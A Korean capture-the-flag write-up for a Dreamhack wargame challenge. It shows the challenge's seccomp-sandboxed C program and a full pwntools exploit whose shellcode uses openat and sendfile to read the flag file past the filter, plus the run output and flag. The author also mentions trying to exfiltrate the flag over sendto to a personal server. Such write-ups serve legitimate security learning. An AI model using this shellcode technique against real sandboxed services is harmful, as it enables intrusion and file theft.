[dreamhack] bypass_seccomp-1 writeup

1. 문제

thumbnail
seccomp

이 문제는 작동하고 있는 서비스(seccomp)의 바이너리와 소스코드가 주어집니다.
취약점을 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/59

2. 풀이

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

이전의 seccomp문제와 비슷하지만, 이번에는 정확히 open, execve, evecveat, write 시스템 호출을 막아놨다.


쉘을 실행시키기에는 evecve, evecveat이 막혀있고, 그외에 openwrite도 막혀있어서 cat flag 등의 명령어를 실행하기도 어렵다.

대신에 막히지않은 시스템 호출을 찾아봐야하는데 open은 막혀있지만 openat이 막혀있고, sendfile도 막혀있지 않기 때문에 이를 활용하면 flag파일을 열어서 출력이 가능하다.

어셈블리를 어떻게 작성해야할지 몰라서 이건 그냥 GPT에 맡겼다…

from pwn import *

#p = process("./bypass_seccomp")
p = remote("host3.dreamhack.games", 22617)

context.arch = "amd64"
context.os = "linux"

flag_path = b"/home/bypass_seccomp/flag\x00"

# push flag 경로 문자열 (역순, 8바이트씩)
flag_chunks = [
    flag_path[i:i+8].ljust(8, b'\x00')
    for i in range(0, len(flag_path), 8)
]

shellcode = b""
for chunk in reversed(flag_chunks):
    shellcode += asm(f"mov rax, {u64(chunk)}; push rax")

# openat(AT_FDCWD, path, O_RDONLY)
shellcode += asm("""
    mov rdi, -100             /* AT_FDCWD */
    mov rsi, rsp              /* pathname */
    xor edx, edx              /* O_RDONLY */
    mov eax, 257              /* syscall: openat */
    syscall
    mov r12, rax              /* save fd */
""")

# sendfile(1, r12, NULL, 100)
shellcode += asm("""
    mov edi, 1                /* stdout */
    mov rsi, r12              /* fd_flag */
    xor rdx, rdx              /* offset = NULL */
    mov r10, 100              /* count */
    mov eax, 40               /* syscall: sendfile */
    syscall
""")


p.sendafter(b"shellcode: ", shellcode)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/bypass_seccomp-1$ python3 e_bypass_seccomp.py 
[+] Opening connection to host3.dreamhack.games on port 22617: Done
[*] Switching to interactive mode
DH{fdac9699a765693377fe6595a82744934ed91185f0300447c45f143a0c08c8c1}

원래는 sendfile 대신에 sendto를 사용하고싶었는데 잘안됐다. sendto로 내가 가지고있는 서버로 보낼 수 있지않을까?하고 nc로 기다렸는데 아무래도 내부 방화벽문제로 안되는듯했다. 그래서 sendfile의 존재를 알았고 stdout에 줄 수 있다는 것도 알았다. 좋은 문제!

해결~